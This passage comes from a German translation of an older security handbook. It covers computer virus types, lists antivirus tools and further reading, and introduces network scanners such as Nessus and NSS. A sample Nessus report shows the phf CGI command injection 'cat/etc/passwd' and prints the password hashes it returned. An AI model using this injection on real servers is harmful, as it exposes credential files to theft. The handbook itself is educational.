Der einzige materielle Unterschied zwischen dem ersten Typ und den vielen Variationen der Boot-Sektor-Viren ist, daß
Boot-Sektor-Viren auf Disketten zielen. Dateiviren dagegen sind verschieden. Im Gegensatz zu den Boot-Sektor-Viren, die nur
einen kleinen Teil der Festplatte oder Diskette angreifen, können sich Dateiviren auf das gesamte System ausbreiten.
Dateiviren infizieren meistens nur eine spezielle Art von Dateien - in der Regel ausführbare Dateien. .COM und .EXE-Dateien
sind ein gutes Beispiel. Dateiviren beschränken sich allerdings nicht nur auf ausführbare Dateien. Einige infizieren
Overlaydateien (.OVL) oder Systemtreiber-Dateien (.SYS, .DRV).
Schätzungen zufolge gibt es derzeit mehr als 7.000 Dateiviren allein für die DOS-Plattform. Sie können sich denken, daß die
Entwickler von Computerviren wild darauf sind, Dateiviren zu schreiben, da diese sich sehr weit verbreiten können. Innerhalb
von 10 Tagen kann ein Dateivirus die meisten (vielleicht sogar alle) ausführbaren Dateien auf einem Computersystem infizieren.
Das liegt an der Art und Weise, in der Dateiviren arbeiten.
Unter Normalbetrieb (auf einem nichtinfizierten Rechner) wird ein Befehl ohne besondere Vorkommnisse ausgeführt und in den
Speicher geladen. Wenn sich ein Dateivirus auf dem Rechner befindet, wird der Prozess jedoch komplizierter, weil der Dateivirus
den Aufruf aufhält.
Nach Infizierung der Programmdatei gibt der Virus die Kontrolle über das System wieder auf und überläßt dem Betriebssystem
die Zügel. Das Betriebssystem lädt dann die infizierte Datei in den Speicher. Dieser Prozess wird für jede Datei, die in den
Destruktive Programme
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Systemspeicher geladen wird, wiederholt. Halten Sie einen Moment inne und denken Sie nach. Wie viele Dateien werden im
Laufe eines Arbeitstages in den Speicher geladen? Das ist die Art und Weise, in der Dateiviren schließlich eine Infizierung des
gesamten Systems erreichen.
Zusätzlich zu den Klassifizierungen von Viren gibt es auch noch verschiedene Virentypen. Diese Typen werden abgeleitet von
der Arbeitsweise des Virus oder von den Programmiertechniken, mit deren Hilfe der Virus erstellt wurde. Hier sind zwei
Beispiele:
Stealth-Viren (Tarnkappenviren). Stealth-Viren benutzen mehrere Techniken, um die Tatsache zu verbergen, daß das
Laufwerk infiziert wurde. Wenn das Betriebssystem beispielsweise bestimmte Informationen anfordert, stellt der
Stealth-Virus diese Informationen in der Form zur Verfügung, in der sie vor der Infizierung waren. Bei Erstinfizierung
speichert der Virus also die vorhandenen Informationen, um später das Betriebssystem (und Viren-Scanner) hinters Licht
zu führen.
Polymorphe Viren. Polymorphe Viren sind ein verhältnismäßig neues Phänomen, und sie sind wesentlich komplexer als
ihre Gegenstücke. Polymorphe Viren können sich verändern und machen damit ein Entdecken schwerer. Es gab Fälle
polymorpher Viren, für die fortschrittliche Verschlüsselungstechniken benutzt wurden, wodurch sich der Programmcode
des Virus verändern kann. Dieser Änderungsprozeß wird Mutation genannt, der Virus kann seine Größe und
Zusammensetzung ändern. Ein gut gemachter polymorpher Virus kann einer Entdeckung entgehen, weil die meisten
Viren-Scanner nach bekannten Mustern suchen (Größe, Prüfsumme usw.). Um dieser neuen Technologie entgegenzutreten,
entwickeln Virus-Spezialisten Scanner, die Verschlüsselungsmuster erkennen können.
Virustechnologie wird immer komplexer, was zum größten Teil an der Anzahl der neu entdeckten Viren liegt. Die Chancen, daß
Sie sich über das Internet einen Virus einfangen, sind gering, aber es ist nicht vollkommen ausgeschlossen. Es hängt davon ab,
wo Sie hingehen. Wenn Sie die Hintergassen des Internet frequentieren, sollten Sie beim Herunterladen von Dateien (mit digitaler
Unterschrift oder ohne) Vorsicht walten lassen. In Usenet Newsgroups könnten Viren gefunden werden, insbesondere in solchen
Newsgruppen, in denen »heiße« oder beschränkte Materialien gehandelt werden. Beispiele für solche Materialien sind warez
(Raubkopien von Software) oder Pornographie. Ich möchte Sie eingehend davor warnen, jegliche archivierte oder zip-Dateien aus
entsprechenden Newsgroups herunterzuladen. Ebenso suspekt sind Newsgroups, die Cracking-Utilities verbreiten.
Wenn Sie ein Systemverwalter sind, habe ich einen anderen Rat. Zunächst ist es richtig, daß die meisten Viren für
IBM-kompatible Plattformen geschrieben wurden - insbesondere für Plattformen, auf denen DOS, Windows, Windows NT und
Windows 95 laufen. Wenn Ihr Netzwerk aus Rechnern mit diesen Betriebssystemen besteht und Sie außerdem Ihren Benutzern
Zugang zum Internet ermöglichen, haben Sie ein Problem.
Es gibt keinen zuverlässigen Weg, die Art der Daten, die Ihre Benutzer herunterladen, einzuschränken. Sie können Richtlinien
herausgeben, die jegliches Herunterladen verbieten, aber Ihre Benutzer werden wahrscheinlich trotzdem die ein oder andere Datei
herunterladen. Das liegt einfach in der menschlichen Natur. Ich empfehle Ihnen daher, daß Sie einen speicherresidenten
Virus-Scanner auf allen Rechnern Ihres Netzwerks laufen lassen, und zwar 24 Stunden am Tag. (Am Ende dieses Abschnitts
finden Sie einige Quellen, über die Sie solche Produkte erhalten können.)
Um mehr über die Arbeitsweise von Viren zu lernen, sollten Sie einige Zeit in einer Virusdatenbank im Internet verbringen. Es
gibt einige dieser Datenbanken, die umfassende Informationen über bekannte Viren bieten. Die umfassendste und nützlichste
Website, die ich jemals zu diesem Thema gesehen habe, ist die des Department of Energy.
Wegweiser:
Hier finden Sie das Department of Energy online: http://ciac.llnl.gov/ ciac/CIACVirusDatabase.html.
Die Liste ist alphabetisch geordnet, Sie können aber auch nach Plattformen suchen. Sie werden sofort sehen, daß die meisten
Viren für Microsoft-Plattformen geschrieben wurden und davon die meisten für DOS. Was Sie nicht sehen werden, sind bekannte
Unix-Viren »in the wild«. Aber vielleicht gibt es ja derartige Informationen bis zu dem Zeitpunkt, zu dem Sie dieses Buch lesen.
Es gibt Gerede im Internet über einen Virus für die Linux-Plattform, der Bliss genannt wird.
Ich möchte noch erklären, warum die meisten Viren für PC-Plattformen und nicht für z.B. Unix geschrieben werden. In Unix
(und Windows NT) stehen umfangreiche Kontrollmechanismen für den Zugang zu Dateien zur Verfügung. Einschränkungen
können auf Dateien gelegt werden, sodaß Benutzer A auf diese Datei zugreifen kann und Benutzer B nicht. Wegen dieses
Phänomens (Zugangskontrolle genannt), würden Viren in einer solchen Umgebung nicht weit kommen. Sie könnten
beispielsweise keine Infizierung des gesamten Systems erreichen.
Auf alle Fälle stellen Viren ein Risiko im Internet dar. Offensichtlich ist dieses Risiko für DOS- oder Windows-Anwender höher.
Destruktive Programme
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Es gibt aber einige Tools, um Ihr System vor den Auswirkungen einer Virus-Infizierung zu schützen.
9.7.7 Anti-Viren-Utilities
Hier ist eine Liste bekannter und zuverlässiger Anti-Virenprogramme. Ich habe schon mit allen Programmen in der Liste
gearbeitet und kann alle empfehlen. Ich möchte jedoch betonen, daß das Fehlen von Produkten in dieser Liste nicht heißt, daß das
Produkt nicht gut ist. Es gibt Hunderte von Anti-Virenprogrammen im Internet, von denen die meisten ähnliche Verfahren zur
Entdeckung eines Virus anwenden.
VirusScan für Windows 95
VirusScan für Windows 95 von McAfee finden Sie online unter:
http://www.nai.com/default_mcafee.asp
Thunderbyte Anti-Virus für Windows 95
Thunderbyte Anti-Virus für Windows 95 finden Sie online unter:
http://www.thunderbyte.com
Norton Anti-Virus für DOS, Windows 95 und Windows NT
Norton Anti-Virus für DOS, Windows 95 und Windows NT von Symantec finden Sie online unter:
http://www.symantec.com/avcenter/index.html
ViruSafe
ViruSafe von Eliashim finden Sie online unter:
http://www.eliashim.com/
PC-Cillin II
PC-Cillin-II von Check-It finden Sie online unter:
http://www.checkit.com/
FindVirus für DOS Version 7.68
Dr. Solomon's FindVirus für DOS Version 7.68 finden Sie online unter:
http://www.drsolomon.com/
Sweep für Windows 95 und Windows NT
Sweep für Windows 95 und Windows NT von Sophos finden Sie online unter:
http://www.sophos.com/
Iris Antivirus Plus
Iris Antivirus Plus von Iris Software finden Sie online unter:
http://www.irisav.com/
Norman Virus Control
Norman Virus Control von Norman Data Defense Systems finden Sie online unter:
http://www.norman.com/
Destruktive Programme
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F-PROT Professional Anti-Virus Toolkit
F-PROT Professional Anti-Virus Toolkit von DataFellows finden Sie online unter:
http://www.DataFellows.com/
The Integrity Master
Den Intergrity Master von Stiller Research finden Sie online unter:
http://www.stiller.com/stiller.htm
Es gibt Hunderte von Virusscannern und -Utilities. Ich habe die vorgehenden hauptsächlich deshalb erwähnt, weil sie über das
Internet erhältlich sind und regelmäßig aktualisiert werden. Aktualität ist ein wichtiger Punkt: Jeden Tag werden überall in der
Welt Viren gefunden. Da Virusentwickler weiterhin immer wieder neue Werke herausbringen (und diese oft neue Technologien,
einschließlich Stealth, beinhalten), ist es absolut notwendig, daß Sie immer die allerneuesten Tools benutzen.
Dem entgegengesetzt haben Sie vielleicht noch einige alte Rechner, auf denen möglicherweise frühe Versionen des einen oder
anderen Betriebssystems laufen. Es ist möglich, daß Sie auf solchen Systemen Software für Windows 95 oder Windows NT nicht
laufen lassen können. Für eine große Auswahl an Virus-Utilities empfehle ich Ihnen die folgenden Websites:
Die Simtel.Net MS-DOS Collection am OAK Repository
Die Simtel.Net MS-DOS Collection am OAK Repository bietet Programme zur Virenentdeckung und -beseitigung. Sie finden
diese Website online unter:
http://oak.oakland.edu/simtel.net/msdos/virus.html
Die Simtel.Net Windows 3.x Collection am OAK Repository
Die Simtel.Net Windows 3.x Collection am OAK Repository bietet Programme zur Virenentdeckung und -beseitigung. Sie finden
diese Website online unter:
http://oak.oakland.edu/simtel.net/win3/virus.html
9.7.8 Publikationen und Websites
Im folgenden finden Sie eine Liste von Artikeln, Büchern und Websites zum Thema Computerviren . Einige der Bücher sind
schon etwas älter, werden heute aber als Standardwerke für das Gebiet gehandelt.
Robert Slade's Guide to Computer Viruses: How to Avoid Them, How to Get Rid of Them, and How to Get Help (Second
Edition). Springer. 1996. ISBN: 0-387-94663-2.
Virus: Detection and Elimination. Rune Skardhamar. AP Professional. 1996. ISBN: 0-12- 647690-X.
The Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle. 1995.
1996 Computer Virus Prevalence Survey. NCSA National Computer Security Association. (Sehr gute Informationsquelle.)
The Computer Virus Crisis. Fites, Johnson und Kratz. Van Nostrand Reinhold Computer Publishing. 1988. ISBN:
0-442-28532-9.
Computer Viruses and Related Threats: a Management Guide. National Technical Information Service (NTIS).
PB90-115601CAU.
A Passive Defense Against Computer Viruses. Frank Hoffmeister. Protokoll des IASTED International Symposium Applied
Informatics. pp. 176-179. Acta Press. 1987.
PC Security and Virus Protection: the Ongoing War Against Information Sabotage. Pamela Kane. M&T Books. 1994.
ISBN: 1-55851-390-6.
How Prevalent Are Computer Viruses? Jeffrey O. Kephart und Steve R. White. Technical Report RC 17822 No78319.
Destruktive Programme
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Watson. 1992.
A Short Course on Computer Viruses (Second Edition). Frederick B. Cohen. Serientitel: Wiley Professional Computing. John
Wiley & Sons. 1994. ISBN: 1-471-00769-2.
A Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. 1992. ISBN: 0-387- 19610-2; 3-540-19610-2.
The Virus Creation Labs: A Journey into the Underground. George Smith. American Eagle Publications. ISBN
0-929408-09-8. Auch besprochen in Net Magazine, Februar 1996.
Viruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus Bulletin. Abingdon Science Park, England.
http://www.virusbtn.com/VBPapers/Ivpc96/.
Computer Virus Help Desk. Courtesy of the Computer Virus Research Center. Indianapolis, Indiana.
http://iw1.indyweb.net/~cvhd/.
European Institute for Computer Anti-Virus Research.
http://www.eicar.com/.
Future Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. Universität Hamburg.
http://www.virusbtn.com/OtherPapers/Trends/.
Dr. Solomon's Virus Encyclopedia. http://www.drsolomon.com/vircen/enc.
Internet Computer Virus and the Vulnerability of National Telecommunications Networks to Computer Viruses. Jack L.
Brock. November 1988. GAO/T-IMTEC-89-10, Washington, D.C., 20. Juli 1989. Testimonial statement von Jack L. Brock,
Director, U.S. Government Information vor dem Subcommittee on Telecommunications and Finance, Committee on Energy and
Commerce, House of Representatives.
A Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk und L. E. Bassham. National Institute of Standards
and Technology Computer Security Division. Freitag, 11. März 1994; 21:26:41 EST. http://csrc.ncsl.nist.gov/nistpubs/select/.
9.8 Zusammenfassung
Destruktive Programme sind nicht nur für diejenigen von Bedeutung, die im Internet Informationen zur Verfügung stellen,
sondern für alle Benutzer. Viele Leute können es nicht nachvollziehen, warum jemand solche Programme entwikkelt, vor allem
da Daten heutzutage so wichtig geworden sind. Dies ist eine Frage, die nur Virenschreiber beantworten können. Auf alle Fälle
sollte jeder Anwender (insbesondere Internetbenutzer) zumindest grundlegendes über destruktive Programme wissen. Es ist sehr
wahrscheinlich, daß Sie irgendwann auf ein solches Programm treffen. Aus diesem Grund sollten Sie eine der wichtigsten Regeln
für das Arbeiten mit Computern befolgen - erstellen Sie oft Backups. Wenn Sie dies nicht tun, werden Sie später möglicherweise
Konsequenzen tragen müssen.
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10
Scanner
Scanner sind Programme, mit deren Hilfe ein Angreifer seinen Ziel-Host nach vermeintlich fehlerhaften
Diensten abtasten kann. Mit Hilfe eines Scanners kann ein Anwender in Los Angeles
Sicherheitsschwachstellen auf einem Server in Japan aufdecken, ohne jemals sein oder ihr Wohnzimmer
zu verlassen. Dieses Kapitel gibt Ihnen einen Überblick über die beliebtesten Scanner.
10.1 Wie arbeiten Scanner?
Scanner senden Anfragen an TCP/IP-Ports und zeichen die Antwort des Ziels auf. Auf diesem Weg
tragen Scanner wertvolle Informationen zusammen, wie z.B.:
Welche Dienste derzeit laufen
Unter welcher User-ID diese Dienste laufen
Ob anonyme Logins unterstützt werden
Ob gewisse Netzwerkdienste eine Authentifizierung erfordern
10.1.1 Für welche Plattformen sind Scanner verfügbar?
Frühe Scanner wurden ausschließlich für Unix geschrieben. Das hat sich geändert. Heute unterstützen
viele Betriebssysteme TCP/IP und daher tauchen immer mehr Scanner für jede erdenkliche Plattform auf.
(Der derzeitige Schwerpunkt liegt auf Windows NT. Entwickler von Scannern haben hier einen
erheblichen kommerziellen Markt erkannt, und so können Sie für das nächste Jahr eine ganze Ladung
von Windows NT-Scannern erwarten.)
10.1.2 Systemanforderungen für Scanner
Die Systemanforderungen hängen vom Scanner ab. Sicher sind die meisten Freeware-Scanner für Unix
geschrieben und werden üblicherweise als Source-Code und nicht als Binärdatei vertrieben. Dann
brauchen Sie (mindestens) folgendes:
Ein Unix-System
Einen C-Compiler
IP-Include-Dateien
Scanner
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Nicht jeder hat Zugang zu diesen Tools. Studenten mit Shell-Accounts beispielsweise haben
wahrscheinlich nur Zugang zu zwei der drei Voraussetzungen. Zusätzlich gibt es einige Scanner, die
noch speziellere Auflagen erfordern. (SATAN z.B. verlangt, daß Sie Root-Privilegien haben.) Daher ist
die beste Voraussetzung eine vollständige Linux-Installation.
Es gibt auch noch andere allgemeinere Anforderungen:
Wenn Sie einen älteren Macintosh- oder IBM-kompatiblen Rechner mit einer langsamen
Internet-Verbindung und einem mageren Durchsatz haben, müssen Sie ggf. mit Schwierigkeiten
rechnen. Diese Konfigurationen sind nicht sehr fehlertolerant, Ihr Rechner wird möglicherweise
abstürzen.
RAM ist ein anderer Punkt. Viele Scanner belegen einen erheblichen Teil des Speichers. Dies gilt
insbesondere, wenn sie in Window-Umgebungen laufen oder wenn sie komplexe Berichte
ausgeben.
Außerdem arbeiten nicht alle Scanner auf verschiedenen Plattformen gleich. Diese oder jene Funktion ist
vielleicht nicht aktiviert, oder bei manchen Plattformen gar nicht verfügbar.
Schließlich ist eine Schlüsselvoraussetzung eine Netzwerkverbindung.
10.1.3 Ist es schwer, einen Scanner zu entwickeln?
Nein, es ist nicht schwer, einen Scanner zu entwickeln. Tatsächlich können Sie einen nützlichen Scanner
mit einigen hundert Zeilen Code schreiben. Sie brauchen jedoch sehr gute Kenntnisse über TCP/IP sowie
Kenntnisse in C, Perl und einer oder mehreren Shell-Sprachen. Schließlich der wichtigste Punkt: Sie
brauchen Erfahrung in der Socket-Programmierung.
Wegweiser:
Ein ausgezeichneter Ausgangspunkt ist ein Online-Socketlehrgang von Jim Frost von Software Tool and
Die. Diesen Lehrgang finden Sie unter: http:/ /world.std.com/~jimf/papers/sockets/sockets.html.
10.1.4 Sind Scanner legal?
Über die Legalität von Scannern wird ständig diskutiert. Einige Leute argumentieren, daß das Scannen
eines Ziels das gleiche ist, wie sich einem Haus zu nähern und ein Brecheisen zu benutzen, um Türen
und Fenster auszuprobieren. Sie setzen einen Scan-Vorgang gleich mit kriminellem unbefugtem Zutritt.
Andere bestehen darauf, daß jeder, der eine Website betreibt, sein zumindest stillschweigendes
Einverständnis dazu gibt, gescannt zu werden. Schließlich gilt für Ihre IP-Adresse ähnliches wie für Ihre
Telefonnummer, jeder hat das legale Recht, sie anzuwählen.
Keine der beiden Ansichten wird vom Strafgesetzbuch unterstützt. Bis heute wurde kein Gesetz
geschrieben, das sich ausdrücklich auf Scanner bezieht. Derzeit lautet die Antwort also, Scanner sind
legal.
Leider wird Ihnen diese Tatsache nicht weiterhelfen, wenn Sie einen Host ohne Genehmigung scannen.
Ich habe den klassischen Fall hundertmal gesehen: Ein Student scannt das lokale Netzwerk. Ein
Systemadministrator entdeckt dies und kontaktiert die Universitätsverwaltung. Der schuldige Student
Scanner
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muß vor den Verwaltungsrat und wird bestraft. Kann der Student Einspruch einlegen? Sicher, wenn er
genug Geld hat, um einen Anwalt anzuheuern - aber ist das Scannen einiger Hosts soviel Geld (und
monatelange Prozesse) wert? Wahrscheinlich nicht.
Und dann ist da noch die ethische Frage. Sie können das Scannen eines Zielnetzwerks damit verteidigen,
daß Sie seine Sicherheit verbessern wollten. Es ist jedoch wahrscheinlicher, daß Sie die gefundenen
Sicherheitslöcher ausnutzen wollten. (Tatsächlich basiert ein weitverbreitetes Argument gegen den
Einsatz von Scannern auf dieser Annahme. Die meisten Systemadministratoren glauben, daß der einzige
Grund, ein Netzwerk zu scannen, darin liegt, Schwachstellen offenzulegen. Daher ist ihrer Meinung nach
das Scannen eines Netzwerks eindeutiger Beweis für böse Absichten.) Wie auch immer, wenn Sie ein
Netzwerk ohne Erlaubnis scannen, machen Sie sich auf entschieden negative Reaktionen gefaßt, nicht
nur vom Ziel, sondern auch von Ihrem Provider.
10.1.5 Warum sind Scanner in Hinsicht auf Internet-Sicherheit
wichtig?
Scanner sind wichtig, weil sie Schwachstellen in Netzwerken offenlegen. In verantwortliche Hände
gelegt, können Scanner die Basisarbeit für Sicherheitsaudits rationalisieren. In unverantwortlichen
Händen stellen Scanner eine legitime Bedrohung für die Sicherheit von Netzwerken dar. Aufgrund dieser
Fakten sind Scanner wichtige Sicherheitstools und jeder Systemadministrator sollte mit ihnen vertraut
sein.
10.1.6 Wie Scanner die Sicherheitsgemeinde beeinflußt haben
Scanner haben viel dazu beigetragen, die Sicherheit im Internet zu verbessern. Um zu verstehen wie,
denken Sie an folgendes: Es gibt mehrere hundert bekannte Sicherheitsschwachstellen auf jeder
Plattform. In den meisten Fällen sind diese Schwachstellen einmalig und betreffen nur einen
Netzwerkdienst.
Das manuelle Überprüfen eines einzelnen Hosts auf solche Schwachstellen könnte mehrere Tage in
Anspruch nehmen. Während dieser Zeit würden Sie den gleichen Prozeß - Exploitcode (d.h. der Code,
der von Crackern benutzt wird) besorgen, kompilieren und ablaufen lassen - mehrere hundertmal
wiederholen. Dies ist ein langsamer, arbeitsreicher und fehleranfälliger Prozeß. Und für all Ihre
Bemühungen hätten Sie nur einen einzelnen Host überprüft.
Noch schlimmer, nachdem Sie Ihren Host manuell überprüft haben, würden Sie vor einem ganzen Berg
von Daten stehen. Die Daten wären nicht einheitlich, sondern von unterschiedlicher Struktur. Das liegt
daran, daß Cracker sich nicht an Standards orientieren. (D.h. es gibt keine Standardmethode für das
Formatieren der Ergebnisse eines Exploits.) Jeder Crakker schreibt seinen Code ein bißchen anders als
andere Cracker. Sie müßten also nach Ihrer manuellen Überprüfung verschiedene Daten analysieren, ein
Prozeß, der mehrere Tage dauern könnte.
Scanner lösen diese Probleme mit einem Schlag. Die Entwickler von Scannern nehmen öffentlich
erhältliche Exploit-Codes und integrieren sie in den allgemeinen Scanning-Prozeß. Die Ausgabe ist
einheitlich formatiert, um ein Suchen und eine Analyse zu vereinfachen. Und schließlich ermöglichen die
meisten Scanner das Überprüfen einer unbegrenzten Anzahl von Domains.
Scanner
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Scanner sind aus all diesen Gründen mächtige Tools, die dafür eingesetzt werden können, vorläufige
Daten für ein Auditing zu sammeln. Für diesen Zweck benutzt, stellt ein Scanner einen schnellen und
schmerzlosen Weg dar, um weithin bekannte Schwachstellen zu entdekken.
Hinweis:
Moderne Sicherheitsadministratoren verlassen sich möglicherweise zu sehr auf Scanner. Das ist ein
Fehler. Zwar sind die meisten entfernten Angriffe in kommerzielle Scanner integriert worden, aber viele
andere Angriffsarten sind es nicht. Bestenfalls bieten Scanner einen schnellen Überblick über
TCP/IP-Sicherheit. Sie sollten nicht die einzigen Tools sein, die Sie einsetzen, um die Sicherheit Ihres
Netzwerks zu überprüfen. Wenn Sie ein Netzwerk scannen und und dabei keine Sicherheitslöcher
entdeckt werden, sollten Sie Ärger erwarten. Scanner sind nur eine Art von Tools von vielen, die ein
Systemadministrator anwenden sollte.
10.2 Die Scanner
Der Rest dieses Kapitels listet verschiedene Scanner auf. Die meisten sind kostenlos im Internet zu
bekommen. Der Scanner, den ich am ausführlichsten behandle, ist Nessus.
10.2.1 Nessus
Scannertyp: TCP-Port-Scanner
Autor: Renaud Deraison
Programmiersprache: C
Entwicklungsplattform: Linux
Zielplattform: Unix, verschiedene Plattformen
Anforderungen: Linux, C.
Nessus ist der neueste in einer ganzen Reihe kostenlos erhältlicher Scanner. Ich stelle Nessus hier aus
zwei Gründen vor:
Die Entstehungsgeschichte von Nessus ist ungewöhnlich.
Nessus hat einige sehr attraktive Merkmale.
Nessus wurden von Renaud Deraison geschrieben, einem 18jährigen, der in Paris lebt. Renaud hat mit 16
Jahren Linux entdeckt und programmiert seitdem. (Falls Sie sich fragen sollten, er benutzt MkLinux.)
Im Jahr 1996 fing Renaud an, 2.600 Vorträge zu besuchen und entwickelte danach ein starkes Interesse
für Sicherheit. Dies brachte eine Partnerschaft zwischen Renaud und zwei anderen Hackern hervor, die
1997 zusammen ihr erstes Auditing-Tool schrieben. Nach Abschluß dieses Projekts plante Renaud
Anfang 1998 Nessus.
Nessus ist aus mehreren Gründen bemerkenswert:
Er ist aktuell.
Scanner
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Er beinhaltet Web-basierte Angriffe.
Er ist kostenlos.
Hinweis:
Nessus wird unter der GNU Public License der Free Software Foundation vertrieben. Es gibt
Einschränkungen auf den Verkauf von GPL-Source. Wenn Sie mit der GNU Public License nicht
vertraut sind, sollten Sie sie sich anschauen unter: http://www.gnu.org/copyleft/gpl.html.
Renauds Entscheidung, den Nessus-Code kostenlos zu verteilen, basierte auf zwei Faktoren:
Der Nessus-Source-Code ist erstens deshalb offen zugänglich, weil ein solch sensibles
Programm leicht als Trojanisches Pferd mißverstanden werden kann, und zweitens, um
freiwillige Beiträge zur Verbesserung und Erweiterung von Nessus zu ermutigen.
Wegweiser:
Das vorhergehende Zitat ist aus der Nessus-Dokumentation, die Sie unter http://www.nessus.org/
finden.
Der Autor ruft also die Sicherheitsgemeinde auf, weitere Versionen zu entwikkeln. Soweit ich weiß, ist
Nessus der erste Scanner, der auf freiwilliger Basis von freiberuflichen Hackern entwickelt wurde.
Grundlegende Merkmale von Nessus
Linux war das ursprüngliche Entwicklungsbetriebssystem für Nessus. Seit Mai 1998 werden auch
NetBSD und Solaris unterstützt. Renaud erwartet eine Microsoft-NT-Version innerhalb der nächsten
Monate.
Ganz grundlegend ist Nessus ein Toolkit-Scanner, d.h. die Source-Codes der meisten bekannten
Attacken wurden in die Distribution integriert. Zusätzliche Module können allerdings einfach
hinzugefügt werden.
Die grafische Benutzeroberfläche von Nessus
Nessus läuft unter X. Die grafische Benutzeroberfläche von Nessus wurde unter Benutzung des Gimp
Toolkit (gtk) entwickelt. Sie brauchen daher gtk, um Nessus laufen zu lassen. Dieses Paket bekommen
Sie unter
ftp://ftp.gimp.org/pub/gtk/
gtk ist eine Bibliothek freier Widgets, die benutzt werden, um grafische Benutzeroberflächen für X zu
entwickeln. Ihrem Aussehen nach ähneln gtk-basierte Anwendungen Motif- Applikationen. Mehr
Informationen über gtk bekommen Sie unter
http://www.gtk.org/
Die Nessus-Umgebung
Scanner
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Nessus startet und zeigt einen Begrüßungsbildschirm. Von hier aus können Sie einen neuen Angriff
starten (Abbildung 10.1).
Abbildung 10.1: Die Nessus-Dialogbox »Select Host to Test«
Bevor Sie die Parameter einer neuen Attacke konfigurieren, sollten Sie die aktuell installierten Plug-Ins
überprüfen. Plug-Ins sind in diesem Fall vorkompilierte Exploits. Nessus verfügt über viele Plug-Ins, die
in die folgenden Kategorien unterteilt sind:
Denial-of-Service
Entfernter Root-Zugang
Finger-Mißbrauch
FTP
Entfernter Dateizugriff
Sendmail
Verschiedenes
Jede Kategorie enthält aktuelle Angriffe (Abbildung 10.2).
Abbildung 10.2: Die Nessus-Dialogbox »Installed Plug-Ins«
Sie können sich die Dokumentation zu jeder Attacke anschauen, hier ist beschrieben, wie der Angriff
funktioniert, wer der Autor des Exploits ist usw. (Abbildung 10.3).
Abbildung 10.3: Der Nessus-Bildschirm »Plug-In Information«
Nessus läßt seinen eigenen Daemon laufen, der standardmäßig an Port 3000 angebunden ist. Um eine
neue Arbeitssitzung zu starten, müssen Sie sich mit einem Benutzernamen und einem Paßwort anmelden
(siehe Abbildung 10.4).
Abbildung 10.4: Die Nessus-Dialogbox »New Session«
Nessus startet den Scan-Vorgang, wenn Sie eine neue Arbeitssitzung starten und Ihre Ziele festlegen. Der
Status dieses Vorgangs wird Ihnen in Echtzeit mitgeteilt (Abbildung 10.5).
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (6 von 31) [19.04.2000 21:14:36]
Abbildung 10.5: Der Status-Bildschirm von Nessus
Berichterstellung
Nach Beendigung des Scan-Vorgangs können Sie sich die Informationen entweder in grafischer oder
roher Form ansehen. Das Grafikformat ist in Abbildung 10.6 illustriert.
Abbildung 10.6: Der Nessus-Bildschirm »New Session«
Nessus stellt für jede gefundene Schwachstelle ein Lernprogramm zur Verfügung. Dieses Lernprogramm
erklärt die Gründe für das Sicherheitsloch und bietet Lösungen an.
Berichtsdaten können auch in roher Form überprüft werden. Nachstehend finden Sie ein typisches
Beispiel für eine Nessus-Scan-Ausgabe:
timide.nain.org 21
It is possible to crash the remote FTP server...by sending it a too
long password.... An intruder may be able to execute arbitrary
commands...on the remote host using this method...Solution: contact
your vendor for a fix...
timide.nain.org 21 INFO
The remote ftp home is '/home/ftp'...This information may interest
some
system hackers who know where to put a .rhost file, although this
problem
is not very serious...Solution: modify the sources of your ftp daemon
timide.nain.org 53
The remote BIND do not properly bounds check a memory copy when
responding to an inverse query request. An improperly or maliciously
formatted inverse query on a TCP stream can crash the server or allow
an attacker to gain root privileges...
Solution: upgrade
timide.nain.org 80
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (7 von 31) [19.04.2000 21:14:36]
The 'phf' cgi is present. We attempted to obtain /etc/passwd
Query Results...
/usr/local/bin/ph -m
alias=cat/etc/passwdslip=n...root:1eoSpkqp0GtDI:0:1:Operator:
/root:/bin/bash...nobody:*:65534:65534::/:...daemon:*:1:1::/:...
sys:*:2:2::/:/bin/csh...bin:*:3:3::/bin:...uucp:*:4:8::
/var/spool/uucppublic:...sync:*:1:1::/:/bin/sync...ftp:*:404:404:
FTP:/home/ftp:/bin/bash...guest:*:501:501:Guest:/home/guest:
/bin/bash...www:*:65000:100:www:/usr/local/etc/httpd/:
marieco:8Fh9Df90kMESU:667:667:MarieColombe:/home/marieco:
/bin/bash...renaud:/FkD9AUxQBnZ0:502:502:\:/home/renaud/:
/bin/bash...+::0:0:::
timide.nain.org 80
The 'finger' cgi is present...This may give away some informations to
an intruder...This may lead to a denial of service
Zusammenfassung
Nessus ist bemerkenswert, weil zusätzliche Exploits leicht hinzugefügt werden können. Ich vermute, daß
Nessus innerhalb eines Jahres der umfassendste und erweiterbarste kostenlose Scanner auf dem Markt
wird.
Nessus finden Sie derzeit unter: http://www.nessus.org/.
Scanner
file:///d|/cool stuff/old/hack/kap10.htm (8 von 31) [19.04.2000 21:14:36]
10.2.2 NSS (Netzwork Security Scanner)
Scannertyp: TCP-Port-Scanner
Autor: Douglas O'Neal
Programmiersprache: Practical Extraction and Report Language (Perl)
Entwicklungsplattform: Unix (generell)
Zielplattform: Unix
Anforderungen: Perl, Unix, ftplib.pl
NSS ist einzigartig, weil er aussschließlich in Perl geschrieben wurde. Das ist insofern von Bedeutung,
weil Sie keinen C-Compiler brauchen, um ihn zu benutzen. (Die meisten Scanner sind in C geschrieben,
hängen von IP-Include-Dateien ab, werden nur in Form von Source-Codes verteilt und können im
allgemeinen nur von Unix-Anwendern benutzt werden.) Außerdem können Perl-Programme leicht
modifiziert werden und daher ist NSS erweiterbar.
NSS wurde für die DEC-Plattform geschrieben (DecStation 5000 und Ultrix 4.4). Er läuft jedoch, so wie
er verbreitet wird, auch auf SunOS 4.1.3 und IRIX 5.2. Für andere Plattformen ist möglicherweise
grundlegendes oder weitreichendes Portieren notwendig.
Der hauptsächliche Vorteil von NSS ist seine Geschwindigkeit; er ist extrem schnell. NSS führt
Überprüfungen auf folgende Schwachstellen durch:
Sendmail
Anonymes FTP
NFS Export
TFTP
hosts.equiv
xhost
Hinweis:
Sie können NSS für die Überprüfung auf host.equiv nur dann benutzen, wenn Sie Root-Privilegien
haben. Einige Scanner erfordern diese Einschränkung (in unterschiedlichem Maß), darunter SATAN
und spätere Versionen des Internet Security Scanner. Installieren Sie sich Linux, Solaris X86 oder
